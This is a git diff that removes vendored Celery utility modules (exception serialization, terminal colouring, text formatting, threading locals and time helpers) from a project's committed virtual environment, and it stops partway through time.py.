seen or set() - append = stack.append - popleft = stack.popleft - is_in_seen = seen.__contains__ - discard_from_seen = seen.discard - add_to_seen = seen.add - - while stack: - lit_start = lit_end = None - it = popleft() - for val in it: - orig = val - if isinstance(val, _dirty): - discard_from_seen(val.objid) - continue - elif isinstance(val, _literal): - level += val.direction - yield val, it - elif isinstance(val, _key): - yield val, it - elif isinstance(val, Decimal): - yield _repr(val), it - elif isinstance(val, safe_t): - yield str(val), it - elif isinstance(val, chars_t): - yield _quoted(val), it - elif isinstance(val, range): # pragma: no cover - yield _repr(val), it - else: - if isinstance(val, set_t): - if not val: - yield _repr_empty_set(val), it - continue - lit_start, lit_end, val = _reprseq( - val, LIT_SET_START, LIT_SET_END, set, _chainlist, - ) - elif isinstance(val, tuple): - lit_start, lit_end, val = ( - LIT_TUPLE_START, - LIT_TUPLE_END_SV if len(val) == 1 else LIT_TUPLE_END, - _chainlist(val)) - elif isinstance(val, dict): - lit_start, lit_end, val = ( - LIT_DICT_START, LIT_DICT_END, _chaindict(val)) - elif isinstance(val, list): - lit_start, lit_end, val = ( - LIT_LIST_START, LIT_LIST_END, _chainlist(val)) - else: - # other type of object - yield _repr(val), it - continue - - if maxlevels and level >= maxlevels: - yield f'{lit_start.value}...{lit_end.value}', it - continue - - objid = id(orig) - if is_in_seen(objid): - yield _recursion(orig), it - continue - add_to_seen(objid) - - # Recurse into the new list/tuple/dict/etc by tacking - # the rest of our iterable onto the new it: this way - # it works similar to a linked list. - append(chain([lit_start], val, [_dirty(objid), lit_end], it)) - break diff --git a/backend/venv/Lib/site-packages/celery/utils/serialization.py b/backend/venv/Lib/site-packages/celery/utils/serialization.py deleted file mode 100644 index 6c6b3b76..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/serialization.py +++ /dev/null @@ -1,273 +0,0 @@ -"""Utilities for safely pickling exceptions.""" -import datetime -import numbers -import sys -from base64 import b64decode as base64decode -from base64 import b64encode as base64encode -from functools import partial -from inspect import getmro -from itertools import takewhile - -from kombu.utils.encoding import bytes_to_str, safe_repr, str_to_bytes - -try: - import cPickle as pickle -except ImportError: - import pickle - -__all__ = ( - 'UnpickleableExceptionWrapper', 'subclass_exception', - 'find_pickleable_exception', 'create_exception_cls', - 'get_pickleable_exception', 'get_pickleable_etype', - 'get_pickled_exception', 'strtobool', -) - -#: List of base classes we probably don't want to reduce to. -unwanted_base_classes = (Exception, BaseException, object) - -STRTOBOOL_DEFAULT_TABLE = {'false': False, 'no': False, '0': False, - 'true': True, 'yes': True, '1': True, - 'on': True, 'off': False} - - -def subclass_exception(name, parent, module): - """Create new exception class.""" - return type(name, (parent,), {'__module__': module}) - - -def find_pickleable_exception(exc, loads=pickle.loads, - dumps=pickle.dumps): - """Find first pickleable exception base class. - - With an exception instance, iterate over its super classes (by MRO) - and find the first super exception that's pickleable. It does - not go below :exc:`Exception` (i.e., it skips :exc:`Exception`, - :class:`BaseException` and :class:`object`). If that happens - you should use :exc:`UnpickleableException` instead. - - Arguments: - exc (BaseException): An exception instance. - loads: decoder to use. - dumps: encoder to use - - Returns: - Exception: Nearest pickleable parent exception class - (except :exc:`Exception` and parents), or if the exception is - pickleable it will return :const:`None`. - """ - exc_args = getattr(exc, 'args', []) - for supercls in itermro(exc.__class__, unwanted_base_classes): - try: - superexc = supercls(*exc_args) - loads(dumps(superexc)) - except Exception: # pylint: disable=broad-except - pass - else: - return superexc - - -def itermro(cls, stop): - return takewhile(lambda sup: sup not in stop, getmro(cls)) - - -def create_exception_cls(name, module, parent=None): - """Dynamically create an exception class.""" - if not parent: - parent = Exception - return subclass_exception(name, parent, module) - - -def ensure_serializable(items, encoder): - """Ensure items will serialize. - - For a given list of arbitrary objects, return the object - or a string representation, safe for serialization. - - Arguments: - items (Iterable[Any]): Objects to serialize. - encoder (Callable): Callable function to serialize with. - """ - safe_exc_args = [] - for arg in items: - try: - encoder(arg) - safe_exc_args.append(arg) - except Exception: # pylint: disable=broad-except - safe_exc_args.append(safe_repr(arg)) - return tuple(safe_exc_args) - - -class UnpickleableExceptionWrapper(Exception): - """Wraps unpickleable exceptions. - - Arguments: - exc_module (str): See :attr:`exc_module`. - exc_cls_name (str): See :attr:`exc_cls_name`. - exc_args (Tuple[Any, ...]): See :attr:`exc_args`. - - Example: - >>> def pickle_it(raising_function): - ... try: - ... raising_function() - ... except Exception as e: - ... exc = UnpickleableExceptionWrapper( - ... e.__class__.__module__, - ... e.__class__.__name__, - ... e.args, - ... ) - ... pickle.dumps(exc) # Works fine. - """ - - #: The module of the original exception. - exc_module = None - - #: The name of the original exception class. - exc_cls_name = None - - #: The arguments for the original exception. - exc_args = None - - def __init__(self, exc_module, exc_cls_name, exc_args, text=None): - safe_exc_args = ensure_serializable( - exc_args, lambda v: pickle.loads(pickle.dumps(v)) - ) - self.exc_module = exc_module - self.exc_cls_name = exc_cls_name - self.exc_args = safe_exc_args - self.text = text - super().__init__(exc_module, exc_cls_name, safe_exc_args, - text) - - def restore(self): - return create_exception_cls(self.exc_cls_name, - self.exc_module)(*self.exc_args) - - def __str__(self): - return self.text - - @classmethod - def from_exception(cls, exc): - res = cls( - exc.__class__.__module__, - exc.__class__.__name__, - getattr(exc, 'args', []), - safe_repr(exc) - ) - if hasattr(exc, "__traceback__"): - res = res.with_traceback(exc.__traceback__) - return res - - -def get_pickleable_exception(exc): - """Make sure exception is pickleable.""" - try: - pickle.loads(pickle.dumps(exc)) - except Exception: # pylint: disable=broad-except - pass - else: - return exc - nearest = find_pickleable_exception(exc) - if nearest: - return nearest - return UnpickleableExceptionWrapper.from_exception(exc) - - -def get_pickleable_etype(cls, loads=pickle.loads, dumps=pickle.dumps): - """Get pickleable exception type.""" - try: - loads(dumps(cls)) - except Exception: # pylint: disable=broad-except - return Exception - else: - return cls - - -def get_pickled_exception(exc): - """Reverse of :meth:`get_pickleable_exception`.""" - if isinstance(exc, UnpickleableExceptionWrapper): - return exc.restore() - return exc - - -def b64encode(s): - return bytes_to_str(base64encode(str_to_bytes(s))) - - -def b64decode(s): - return base64decode(str_to_bytes(s)) - - -def strtobool(term, table=None): - """Convert common terms for true/false to bool. - - Examples (true/false/yes/no/on/off/1/0). - """ - if table is None: - table = STRTOBOOL_DEFAULT_TABLE - if isinstance(term, str): - try: - return table[term.lower()] - except KeyError: - raise TypeError(f'Cannot coerce {term!r} to type bool') - return term - - -def _datetime_to_json(dt): - # See "Date Time String Format" in the ECMA-262 specification. - if isinstance(dt, datetime.datetime): - r = dt.isoformat() - if dt.microsecond: - r = r[:23] + r[26:] - if r.endswith('+00:00'): - r = r[:-6] + 'Z' - return r - elif isinstance(dt, datetime.time): - r = dt.isoformat() - if dt.microsecond: - r = r[:12] - return r - else: - return dt.isoformat() - - -def jsonify(obj, - builtin_types=(numbers.Real, str), key=None, - keyfilter=None, - unknown_type_filter=None): - """Transform object making it suitable for json serialization.""" - from kombu.abstract import Object as KombuDictType - _jsonify = partial(jsonify, builtin_types=builtin_types, key=key, - keyfilter=keyfilter, - unknown_type_filter=unknown_type_filter) - - if isinstance(obj, KombuDictType): - obj = obj.as_dict(recurse=True) - - if obj is None or isinstance(obj, builtin_types): - return obj - elif isinstance(obj, (tuple, list)): - return [_jsonify(v) for v in obj] - elif isinstance(obj, dict): - return { - k: _jsonify(v, key=k) for k, v in obj.items() - if (keyfilter(k) if keyfilter else 1) - } - elif isinstance(obj, (datetime.date, datetime.time)): - return _datetime_to_json(obj) - elif isinstance(obj, datetime.timedelta): - return str(obj) - else: - if unknown_type_filter is None: - raise ValueError( - f'Unsupported type: {type(obj)!r} {obj!r} (parent: {key})' - ) - return unknown_type_filter(obj) - - -def raise_with_context(exc): - exc_info = sys.exc_info() - if not exc_info: - raise exc - elif exc_info[1] is exc: - raise - raise exc from exc_info[1] diff --git a/backend/venv/Lib/site-packages/celery/utils/static/__init__.py b/backend/venv/Lib/site-packages/celery/utils/static/__init__.py deleted file mode 100644 index 5051e5a0..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/static/__init__.py +++ /dev/null @@ -1,14 +0,0 @@ -"""Static files.""" -import os - - -def get_file(*args): - # type: (*str) -> str - """Get filename for static file.""" - return os.path.join(os.path.abspath(os.path.dirname(__file__)), *args) - - -def logo(): - # type: () -> bytes - """Celery logo image.""" - return get_file('celery_128.png') diff --git a/backend/venv/Lib/site-packages/celery/utils/static/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/utils/static/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 9d09f399..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/static/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/static/celery_128.png b/backend/venv/Lib/site-packages/celery/utils/static/celery_128.png deleted file mode 100644 index c3ff2d13..00000000 Binary files a/backend/venv/Lib/site-packages/celery/utils/static/celery_128.png and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/utils/sysinfo.py b/backend/venv/Lib/site-packages/celery/utils/sysinfo.py deleted file mode 100644 index 52fc45e5..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/sysinfo.py +++ /dev/null @@ -1,50 +0,0 @@ -"""System information utilities.""" -from __future__ import annotations - -import os -from math import ceil - -from kombu.utils.objects import cached_property - -__all__ = ('load_average', 'df') - - -if hasattr(os, 'getloadavg'): - - def _load_average() -> tuple[float, ...]: - return tuple(ceil(l * 1e2) / 1e2 for l in os.getloadavg()) - -else: # pragma: no cover - # Windows doesn't have getloadavg - def _load_average() -> tuple[float, ...]: - return 0.0, 0.0, 0.0, - - -def load_average() -> tuple[float, ...]: - """Return system load average as a triple.""" - return _load_average() - - -class df: - """Disk information.""" - - def __init__(self, path: str | bytes | os.PathLike) -> None: - self.path = path - - @property - def total_blocks(self) -> float: - return self.stat.f_blocks * self.stat.f_frsize / 1024 - - @property - def available(self) -> float: - return self.stat.f_bavail * self.stat.f_frsize / 1024 - - @property - def capacity(self) -> int: - avail = self.stat.f_bavail - used = self.stat.f_blocks - self.stat.f_bfree - return int(ceil(used * 100.0 / (used + avail) + 0.5)) - - @cached_property - def stat(self) -> os.statvfs_result: - return os.statvfs(os.path.abspath(self.path)) diff --git a/backend/venv/Lib/site-packages/celery/utils/term.py b/backend/venv/Lib/site-packages/celery/utils/term.py deleted file mode 100644 index ba6a3215..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/term.py +++ /dev/null @@ -1,184 +0,0 @@ -"""Terminals and colors.""" -from __future__ import annotations - -import base64 -import os -import platform -import sys -from functools import reduce - -__all__ = ('colored',) - -from typing import Any - -BLACK, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, WHITE = range(8) -OP_SEQ = '\033[%dm' -RESET_SEQ = '\033[0m' -COLOR_SEQ = '\033[1;%dm' - -IS_WINDOWS = platform.system() == 'Windows' - -ITERM_PROFILE = os.environ.get('ITERM_PROFILE') -TERM = os.environ.get('TERM') -TERM_IS_SCREEN = TERM and TERM.startswith('screen') - -# tmux requires unrecognized OSC sequences to be wrapped with DCS tmux; -# ST, and for all ESCs in to be replaced with ESC ESC. -# It only accepts ESC backslash for ST. -_IMG_PRE = '\033Ptmux;\033\033]' if TERM_IS_SCREEN else '\033]' -_IMG_POST = '\a\033\\' if TERM_IS_SCREEN else '\a' - - -def fg(s: int) -> str: - return COLOR_SEQ % s - - -class colored: - """Terminal colored text. - - Example: - >>> c = colored(enabled=True) - >>> print(str(c.red('the quick '), c.blue('brown ', c.bold('fox ')), - ... c.magenta(c.underline('jumps over')), - ... c.yellow(' the lazy '), - ... c.green('dog '))) - """ - - def __init__(self, *s: object, **kwargs: Any) -> None: - self.s: tuple[object, ...] = s - self.enabled: bool = not IS_WINDOWS and kwargs.get('enabled', True) - self.op: str = kwargs.get('op', '') - self.names: dict[str, Any] = { - 'black': self.black, - 'red': self.red, - 'green': self.green, - 'yellow': self.yellow, - 'blue': self.blue, - 'magenta': self.magenta, - 'cyan': self.cyan, - 'white': self.white, - } - - def _add(self, a: object, b: object) -> str: - return f"{a}{b}" - - def _fold_no_color(self, a: Any, b: Any) -> str: - try: - A = a.no_color() - except AttributeError: - A = str(a) - try: - B = b.no_color() - except AttributeError: - B = str(b) - - return f"{A}{B}" - - def no_color(self) -> str: - if self.s: - return str(reduce(self._fold_no_color, self.s)) - return '' - - def embed(self) -> str: - prefix = '' - if self.enabled: - prefix = self.op - return f"{prefix}{reduce(self._add, self.s)}" - - def __str__(self) -> str: - suffix = '' - if self.enabled: - suffix = RESET_SEQ - return f"{self.embed()}{suffix}" - - def node(self, s: tuple[object, ...], op: str) -> colored: - return self.__class__(enabled=self.enabled, op=op, *s) - - def black(self, *s: object) -> colored: - return self.node(s, fg(30 + BLACK)) - - def red(self, *s: object) -> colored: - return self.node(s, fg(30 + RED)) - - def green(self, *s: object) -> colored: - return self.node(s, fg(30 + GREEN)) - - def yellow(self, *s: object) -> colored: - return self.node(s, fg(30 + YELLOW)) - - def blue(self, *s: object) -> colored: - return self.node(s, fg(30 + BLUE)) - - def magenta(self, *s: object) -> colored: - return self.node(s, fg(30 + MAGENTA)) - - def cyan(self, *s: object) -> colored: - return self.node(s, fg(30 + CYAN)) - - def white(self, *s: object) -> colored: - return self.node(s, fg(30 + WHITE)) - - def __repr__(self) -> str: - return repr(self.no_color()) - - def bold(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 1) - - def underline(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 4) - - def blink(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 5) - - def reverse(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 7) - - def bright(self, *s: object) -> colored: - return self.node(s, OP_SEQ % 8) - - def ired(self, *s: object) -> colored: - return self.node(s, fg(40 + RED)) - - def igreen(self, *s: object) -> colored: - return self.node(s, fg(40 + GREEN)) - - def iyellow(self, *s: object) -> colored: - return self.node(s, fg(40 + YELLOW)) - - def iblue(self, *s: colored) -> colored: - return self.node(s, fg(40 + BLUE)) - - def imagenta(self, *s: object) -> colored: - return self.node(s, fg(40 + MAGENTA)) - - def icyan(self, *s: object) -> colored: - return self.node(s, fg(40 + CYAN)) - - def iwhite(self, *s: object) -> colored: - return self.node(s, fg(40 + WHITE)) - - def reset(self, *s: object) -> colored: - return self.node(s or ('',), RESET_SEQ) - - def __add__(self, other: object) -> str: - return f"{self}{other}" - - -def supports_images() -> bool: - - try: - return sys.stdin.isatty() and bool(os.environ.get('ITERM_PROFILE')) - except AttributeError: - return False - - -def _read_as_base64(path: str) -> str: - with open(path, mode='rb') as fh: - encoded = base64.b64encode(fh.read()) - return encoded.decode('ascii') - - -def imgcat(path: str, inline: int = 1, preserve_aspect_ratio: int = 0, **kwargs: Any) -> str: - return '\n%s1337;File=inline=%d;preserveAspectRatio=%d:%s%s' % ( - _IMG_PRE, inline, preserve_aspect_ratio, - _read_as_base64(path), _IMG_POST) diff --git a/backend/venv/Lib/site-packages/celery/utils/text.py b/backend/venv/Lib/site-packages/celery/utils/text.py deleted file mode 100644 index 9d18a735..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/text.py +++ /dev/null @@ -1,198 +0,0 @@ -"""Text formatting utilities.""" -from __future__ import annotations - -import io -import re -from functools import partial -from pprint import pformat -from re import Match -from textwrap import fill -from typing import Any, Callable, Pattern - -__all__ = ( - 'abbr', 'abbrtask', 'dedent', 'dedent_initial', - 'ensure_newlines', 'ensure_sep', - 'fill_paragraphs', 'indent', 'join', - 'pluralize', 'pretty', 'str_to_list', 'simple_format', 'truncate', -) - -UNKNOWN_SIMPLE_FORMAT_KEY = """ -Unknown format %{0} in string {1!r}. -Possible causes: Did you forget to escape the expand sign (use '%%{0!r}'), -or did you escape and the value was expanded twice? (%%N -> %N -> %hostname)? -""".strip() - -RE_FORMAT = re.compile(r'%(\w)') - - -def str_to_list(s: str) -> list[str]: - """Convert string to list.""" - if isinstance(s, str): - return s.split(',') - return s - - -def dedent_initial(s: str, n: int = 4) -> str: - """Remove indentation from first line of text.""" - return s[n:] if s[:n] == ' ' * n else s - - -def dedent(s: str, sep: str = '\n') -> str: - """Remove indentation.""" - return sep.join(dedent_initial(l) for l in s.splitlines()) - - -def fill_paragraphs(s: str, width: int, sep: str = '\n') -> str: - """Fill paragraphs with newlines (or custom separator).""" - return sep.join(fill(p, width) for p in s.split(sep)) - - -def join(l: list[str], sep: str = '\n') -> str: - """Concatenate list of strings.""" - return sep.join(v for v in l if v) - - -def ensure_sep(sep: str, s: str, n: int = 2) -> str: - """Ensure text s ends in separator sep'.""" - return s + sep * (n - s.count(sep)) - - -ensure_newlines = partial(ensure_sep, '\n') - - -def abbr(S: str, max: int, ellipsis: str | bool = '...') -> str: - """Abbreviate word.""" - if S is None: - return '???' - if len(S) > max: - return isinstance(ellipsis, str) and ( - S[: max - len(ellipsis)] + ellipsis) or S[: max] - return S - - -def abbrtask(S: str, max: int) -> str: - """Abbreviate task name.""" - if S is None: - return '???' - if len(S) > max: - module, _, cls = S.rpartition('.') - module = abbr(module, max - len(cls) - 3, False) - return module + '[.]' + cls - return S - - -def indent(t: str, indent: int = 0, sep: str = '\n') -> str: - """Indent text.""" - return sep.join(' ' * indent + p for p in t.split(sep)) - - -def truncate(s: str, maxlen: int = 128, suffix: str = '...') -> str: - """Truncate text to a maximum number of characters.""" - if maxlen and len(s) >= maxlen: - return s[:maxlen].rsplit(' ', 1)[0] + suffix - return s - - -def pluralize(n: float, text: str, suffix: str = 's') -> str: - """Pluralize term when n is greater than one.""" - if n != 1: - return text + suffix - return text - - -def pretty(value: str, width: int = 80, nl_width: int = 80, sep: str = '\n', ** - kw: Any) -> str: - """Format value for printing to console.""" - if isinstance(value, dict): - return f'{sep} {pformat(value, 4, nl_width)[1:]}' - elif isinstance(value, tuple): - return '{}{}{}'.format( - sep, ' ' * 4, pformat(value, width=nl_width, **kw), - ) - else: - return pformat(value, width=width, **kw) - - -def match_case(s: str, other: str) -> str: - return s.upper() if other.isupper() else s.lower() - - -def simple_format( - s: str, keys: dict[str, str | Callable], - pattern: Pattern[str] = RE_FORMAT, expand: str = r'\1') -> str: - """Format string, expanding abbreviations in keys'.""" - if s: - keys.setdefault('%', '%') - - def resolve(match: Match) -> str | Any: - key = match.expand(expand) - try: - resolver = keys[key] - except KeyError: - raise ValueError(UNKNOWN_SIMPLE_FORMAT_KEY.format(key, s)) - if callable(resolver): - return resolver() - return resolver - - return pattern.sub(resolve, s) - return s - - -def remove_repeating_from_task(task_name: str, s: str) -> str: - """Given task name, remove repeating module names. - - Example: - >>> remove_repeating_from_task( - ... 'tasks.add', - ... 'tasks.add(2, 2), tasks.mul(3), tasks.div(4)') - 'tasks.add(2, 2), mul(3), div(4)' - """ - # This is used by e.g. repr(chain), to remove repeating module names. - # - extract the module part of the task name - module = str(task_name).rpartition('.')[0] + '.' - return remove_repeating(module, s) - - -def remove_repeating(substr: str, s: str) -> str: - """Remove repeating module names from string. - - Arguments: - task_name (str): Task name (full path including module), - to use as the basis for removing module names. - s (str): The string we want to work on. - - Example: - - >>> _shorten_names( - ... 'x.tasks.add', - ... 'x.tasks.add(2, 2) | x.tasks.add(4) | x.tasks.mul(8)', - ... ) - 'x.tasks.add(2, 2) | add(4) | mul(8)' - """ - # find the first occurrence of substr in the string. - index = s.find(substr) - if index >= 0: - return ''.join([ - # leave the first occurrence of substr untouched. - s[:index + len(substr)], - # strip seen substr from the rest of the string. - s[index + len(substr):].replace(substr, ''), - ]) - return s - - -StringIO = io.StringIO -_SIO_write = StringIO.write -_SIO_init = StringIO.__init__ - - -class WhateverIO(StringIO): - """StringIO that takes bytes or str.""" - - def __init__( - self, v: bytes | str | None = None, *a: Any, **kw: Any) -> None: - _SIO_init(self, v.decode() if isinstance(v, bytes) else v, *a, **kw) - - def write(self, data: bytes | str) -> int: - return _SIO_write(self, data.decode() - if isinstance(data, bytes) else data) diff --git a/backend/venv/Lib/site-packages/celery/utils/threads.py b/backend/venv/Lib/site-packages/celery/utils/threads.py deleted file mode 100644 index d78461a9..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/threads.py +++ /dev/null @@ -1,331 +0,0 @@ -"""Threading primitives and utilities.""" -import os -import socket -import sys -import threading -import traceback -from contextlib import contextmanager -from threading import TIMEOUT_MAX as THREAD_TIMEOUT_MAX - -from celery.local import Proxy - -try: - from greenlet import getcurrent as get_ident -except ImportError: - try: - from _thread import get_ident - except ImportError: - try: - from thread import get_ident - except ImportError: - try: - from _dummy_thread import get_ident - except ImportError: - from dummy_thread import get_ident - - -__all__ = ( - 'bgThread', 'Local', 'LocalStack', 'LocalManager', - 'get_ident', 'default_socket_timeout', -) - -USE_FAST_LOCALS = os.environ.get('USE_FAST_LOCALS') - - -@contextmanager -def default_socket_timeout(timeout): - """Context temporarily setting the default socket timeout.""" - prev = socket.getdefaulttimeout() - socket.setdefaulttimeout(timeout) - yield - socket.setdefaulttimeout(prev) - - -class bgThread(threading.Thread): - """Background service thread.""" - - def __init__(self, name=None, **kwargs): - super().__init__() - self.__is_shutdown = threading.Event() - self.__is_stopped = threading.Event() - self.daemon = True - self.name = name or self.__class__.__name__ - - def body(self): - raise NotImplementedError() - - def on_crash(self, msg, *fmt, **kwargs): - print(msg.format(*fmt), file=sys.stderr) - traceback.print_exc(None, sys.stderr) - - def run(self): - body = self.body - shutdown_set = self.__is_shutdown.is_set - try: - while not shutdown_set(): - try: - body() - except Exception as exc: # pylint: disable=broad-except - try: - self.on_crash('{0!r} crashed: {1!r}', self.name, exc) - self._set_stopped() - finally: - sys.stderr.flush() - os._exit(1) # exiting by normal means won't work - finally: - self._set_stopped() - - def _set_stopped(self): - try: - self.__is_stopped.set() - except TypeError: # pragma: no cover - # we lost the race at interpreter shutdown, - # so gc collected built-in modules. - pass - - def stop(self): - """Graceful shutdown.""" - self.__is_shutdown.set() - self.__is_stopped.wait() - if self.is_alive(): - self.join(THREAD_TIMEOUT_MAX) - - -def release_local(local): - """Release the contents of the local for the current context. - - This makes it possible to use locals without a manager. - - With this function one can release :class:`Local` objects as well as - :class:`StackLocal` objects. However it's not possible to - release data held by proxies that way, one always has to retain - a reference to the underlying local object in order to be able - to release it. - - Example: - >>> loc = Local() - >>> loc.foo = 42 - >>> release_local(loc) - >>> hasattr(loc, 'foo') - False - """ - local.__release_local__() - - -class Local: - """Local object.""" - - __slots__ = ('__storage__', '__ident_func__') - - def __init__(self): - object.__setattr__(self, '__storage__', {}) - object.__setattr__(self, '__ident_func__', get_ident) - - def __iter__(self): - return iter(self.__storage__.items()) - - def __call__(self, proxy): - """Create a proxy for a name.""" - return Proxy(self, proxy) - - def __release_local__(self): - self.__storage__.pop(self.__ident_func__(), None) - - def __getattr__(self, name): - try: - return self.__storage__[self.__ident_func__()][name] - except KeyError: - raise AttributeError(name) - - def __setattr__(self, name, value): - ident = self.__ident_func__() - storage = self.__storage__ - try: - storage[ident][name] = value - except KeyError: - storage[ident] = {name: value} - - def __delattr__(self, name): - try: - del self.__storage__[self.__ident_func__()][name] - except KeyError: - raise AttributeError(name) - - -class _LocalStack: - """Local stack. - - This class works similar to a :class:`Local` but keeps a stack - of objects instead. This is best explained with an example:: - - >>> ls = LocalStack() - >>> ls.push(42) - >>> ls.top - 42 - >>> ls.push(23) - >>> ls.top - 23 - >>> ls.pop() - 23 - >>> ls.top - 42 - - They can be force released by using a :class:`LocalManager` or with - the :func:`release_local` function but the correct way is to pop the - item from the stack after using. When the stack is empty it will - no longer be bound to the current context (and as such released). - - By calling the stack without arguments it will return a proxy that - resolves to the topmost item on the stack. - """ - - def __init__(self): - self._local = Local() - - def __release_local__(self): - self._local.__release_local__() - - def _get__ident_func__(self): - return self._local.__ident_func__ - - def _set__ident_func__(self, value): - object.__setattr__(self._local, '__ident_func__', value) - __ident_func__ = property(_get__ident_func__, _set__ident_func__) - del _get__ident_func__, _set__ident_func__ - - def __call__(self): - def _lookup(): - rv = self.top - if rv is None: - raise RuntimeError('object unbound') - return rv - return Proxy(_lookup) - - def push(self, obj): - """Push a new item to the stack.""" - rv = getattr(self._local, 'stack', None) - if rv is None: - # pylint: disable=assigning-non-slot - # This attribute is defined now. - self._local.stack = rv = [] - rv.append(obj) - return rv - - def pop(self): - """Remove the topmost item from the stack. - - Note: - Will return the old value or `None` if the stack was already empty. - """ - stack = getattr(self._local, 'stack', None) - if stack is None: - return None - elif len(stack) == 1: - release_local(self._local) - return stack[-1] - else: - return stack.pop() - - def __len__(self): - stack = getattr(self._local, 'stack', None) - return len(stack) if stack else 0 - - @property - def stack(self): - # get_current_worker_task uses this to find - # the original task that was executed by the worker. - stack = getattr(self._local, 'stack', None) - if stack is not None: - return stack - return [] - - @property - def top(self): - """The topmost item on the stack. - - Note: - If the stack is empty, :const:`None` is returned. - """ - try: - return self._local.stack[-1] - except (AttributeError, IndexError): - return None - - -class LocalManager: - """Local objects cannot manage themselves. - - For that you need a local manager. - You can pass a local manager multiple locals or add them - later by appending them to ``manager.locals``. Every time the manager - cleans up, it will clean up all the data left in the locals for this - context. - - The ``ident_func`` parameter can be added to override the default ident - function for the wrapped locals. - """ - - def __init__(self, locals=None, ident_func=None): - if locals is None: - self.locals = [] - elif isinstance(locals, Local): - self.locals = [locals] - else: - self.locals = list(locals) - if ident_func is not None: - self.ident_func = ident_func - for local in self.locals: - object.__setattr__(local, '__ident_func__', ident_func) - else: - self.ident_func = get_ident - - def get_ident(self): - """Return context identifier. - - This is the identifier the local objects use internally - for this context. You cannot override this method to change the - behavior but use it to link other context local objects (such as - SQLAlchemy's scoped sessions) to the Werkzeug locals. - """ - return self.ident_func() - - def cleanup(self): - """Manually clean up the data in the locals for this context. - - Call this at the end of the request or use ``make_middleware()``. - """ - for local in self.locals: - release_local(local) - - def __repr__(self): - return '<{} storages: {}>'.format( - self.__class__.__name__, len(self.locals)) - - -class _FastLocalStack(threading.local): - - def __init__(self): - self.stack = [] - self.push = self.stack.append - self.pop = self.stack.pop - super().__init__() - - @property - def top(self): - try: - return self.stack[-1] - except (AttributeError, IndexError): - return None - - def __len__(self): - return len(self.stack) - - -if USE_FAST_LOCALS: # pragma: no cover - LocalStack = _FastLocalStack -else: # pragma: no cover - # - See #706 - # since each thread has its own greenlet we can just use those as - # identifiers for the context. If greenlets aren't available we - # fall back to the current thread ident. - LocalStack = _LocalStack diff --git a/backend/venv/Lib/site-packages/celery/utils/time.py b/backend/venv/Lib/site-packages/celery/utils/time.py deleted file mode 100644 index 2376bb3b..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/time.py +++ /dev/null @@ -1,452 +0,0 @@ -"""Utilities related to dates, times, intervals, and timezones.""" -from __future__ import annotations - -import numbers -import os -import random -import sys -import time as _time -from calendar import monthrange -from datetime import date, datetime, timedelta -from datetime import timezone as datetime_timezone -from datetime import tzinfo -from types import ModuleType -from typing import Any, Callable - -from dateutil import tz as dateutil_tz -from dateutil.parser import isoparse -from kombu.utils.functional import reprcall -from kombu.utils.objects import cached_property - -from .functional import dictfilter -from .text import pluralize - -if sys.version_info >= (3, 9): - from zoneinfo import ZoneInfo -else: - from backports.zoneinfo import ZoneInfo - - -__all__ = ( - 'LocalTimezone', 'timezone', 'maybe_timedelta', - 'delta_resolution', 'remaining', 'rate', 'weekday', - 'humanize_seconds', 'maybe_iso8601', 'is_naive', - 'make_aware', 'localize', 'to_utc', 'maybe_make_aware', - 'ffwd', 'utcoffset', 'adjust_timestamp', - 'get_exponential_backoff_interval', -) - -C_REMDEBUG = os.environ.get('C_REMDEBUG', False) - -DAYNAMES = 'sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat' -WEEKDAYS = dict(zip(DAYNAMES, range(7))) - -MONTHNAMES = 'jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', 'aug', 'sep', 'oct', 'nov', 'dec' -YEARMONTHS = dict(zip(MONTHNAMES, range(1, 13))) - -RATE_MODIFIER_MAP = { - 's': lambda n: n, - 'm': lambda n: n / 60.0, - 'h': lambda n: n / 60.0 / 60.0, -} - -TIME_UNITS = ( - ('day', 60 * 60 * 24.0, lambda n: format(n, '.2f')), - ('hour', 60 * 60.0, lambda n: format(n, '.2f')), - ('minute', 60.0, lambda n: format(n, '.2f')), - ('second', 1.0, lambda n: format(n, '.2f')), -) - -ZERO = timedelta(0) - -_local_timezone = None - - -class LocalTimezone(tzinfo): - """Local time implementation. Provided in _Zone to the app when `enable_utc` is disabled. - Otherwise, _Zone provides a UTC ZoneInfo instance as the timezone implementation for the application. - - Note: - Used only when the :setting:`enable_utc` setting is disabled. - """ - - _offset_cache: dict[int, tzinfo] = {} - - def __init__(self) -> None: - # This code is moved in __init__ to execute it as late as possible - # See get_default_timezone(). - self.STDOFFSET = timedelta(seconds=-_time.timezone) - if _time.daylight: - self.DSTOFFSET = timedelta(seconds=-_time.altzone) - else: - self.DSTOFFSET = self.STDOFFSET - self.DSTDIFF = self.DSTOFFSET - self.STDOFFSET - super().__init__() - - def __repr__(self) -> str: - return f'' - - def utcoffset(self, dt: datetime) -> timedelta: - return self.DSTOFFSET if self._isdst(dt) else self.STDOFFSET - - def dst(self, dt: datetime) -> timedelta: - return self.DSTDIFF if self._isdst(dt) else ZERO - - def tzname(self, dt: datetime) -> str: - return _time.tzname[self._isdst(dt)] - - def fromutc(self, dt: datetime) -> datetime: - # The base tzinfo class no longer implements a DST - # offset aware .fromutc() in Python 3 (Issue #2306). - offset = int(self.utcoffset(dt).seconds / 60.0) - try: - tz = self._offset_cache[offset] - except KeyError: - tz = self._offset_cache[offset] = datetime_timezone( - timedelta(minutes=offset)) - return tz.fromutc(dt.replace(tzinfo=tz)) - - def _isdst(self, dt: datetime) -> bool: - tt = (dt.year, dt.month, dt.day, - dt.hour, dt.minute, dt.second, - 